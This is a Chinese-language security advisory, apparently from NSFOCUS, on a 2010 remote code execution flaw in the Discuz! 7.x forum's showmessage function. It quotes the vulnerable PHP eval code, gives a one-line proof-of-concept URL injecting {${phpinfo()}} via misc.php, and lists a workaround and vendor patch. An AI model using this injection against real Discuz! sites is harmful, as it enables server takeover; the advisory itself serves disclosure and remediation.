安全研究

安全漏洞
Discuz!论坛showmessage函数远程代码执行漏洞

发布日期:2010-01-07
更新日期:2010-01-07

受影响系统:
Discuz! Discuz! 7.2
Discuz! Discuz! 7.1
描述:
Discuz!是一款华人地区非常流行的Web论坛程序。

Discuz!的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

以下是有漏洞代码段:

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
    extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,导致了问题的产生
    global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
    define('CACHE_FORBIDDEN', TRUE);
    $hookscriptmessage = $show_message = $message;$messagehandle = 0;
    $msgforward = unserialize($_DCACHE['settings']['msgforward']);
    $refreshtime = intval($msgforward['refreshtime']);
    $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
    $msgforward['refreshtime'] = $refreshtime * 1000;
    $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
    $seccodecheck = $seccodestatus & 2;
    if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
        $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
        if($fp = @fopen($statlogfile, 'a')) {
            @flock($fp, 2);
            if(is_array($funcstatinfo)) {
                $funcstatinfo = array_unique($funcstatinfo);
                foreach($funcstatinfo as $funcinfo) {
                    fwrite($fp, funcstat_query($funcinfo, $message)."\n");
                }
            } else {
                fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
            }
            fclose($fp);
            $funcstatinfo = $GLOBALS['funcstatinfo'] = '';
        }
    }

    if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
        write_statlog($message);
    }

    if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
        updatesession();
        dheader("location: ".str_replace('&', '&', $url_forward));
    }
    if(!empty($infloat)) {
        if($extra) {
            $messagehandle = $extra;
        }
        $extra = '';
    }
    if(in_array($extra, array('HALTED', 'NOPERM'))) {
        $discuz_action = 254;
    } else {
        $discuz_action = 255;
    }

    include language('messages');

    $vars = explode(':', $message);//只要含:就可以了
    if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
        eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义
    } elseif(isset($language[$message])) {
        $pre = $inajax ? 'ajax_' : '';
        eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
        unset($pre);
    }

    ......
}

Discuz!的全局机制导致可以任意提交未初始化的参数:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

misc.php有个可以自定义message的点也是未初始化的:

elseif($action == 'imme_binding' && $discuz_uid) {

    if(isemail($id)) {
        $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
        $msn = explode("\t", $msn);
        $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
        $msn = "$msn[0]\t$id";
        $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
        showmessage('msn_binding_succeed', 'memcp.php');
    } else {
        if($result == 'Declined') {
            dheader("Location: memcp.php");
        } else {
            showmessage($response['result']);//$response没有初始化,可以自定义

        }
    }

   }

showmessage函数中$vars = explode(':', $message);,然后message可以控制,参数是两个自定义的数组。

<*来源:oldjun (oldjun@gmail.com
  
  链接:http://www.oldjun.com/blog/index.php/archives/58/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

建议:
临时解决方法:

* 在common.inc.php上面加上:

$response=$scriptlang=array();

厂商补丁:

Discuz!
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.discuz.net/thread-1537673-1-1.html

浏览次数:4680
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障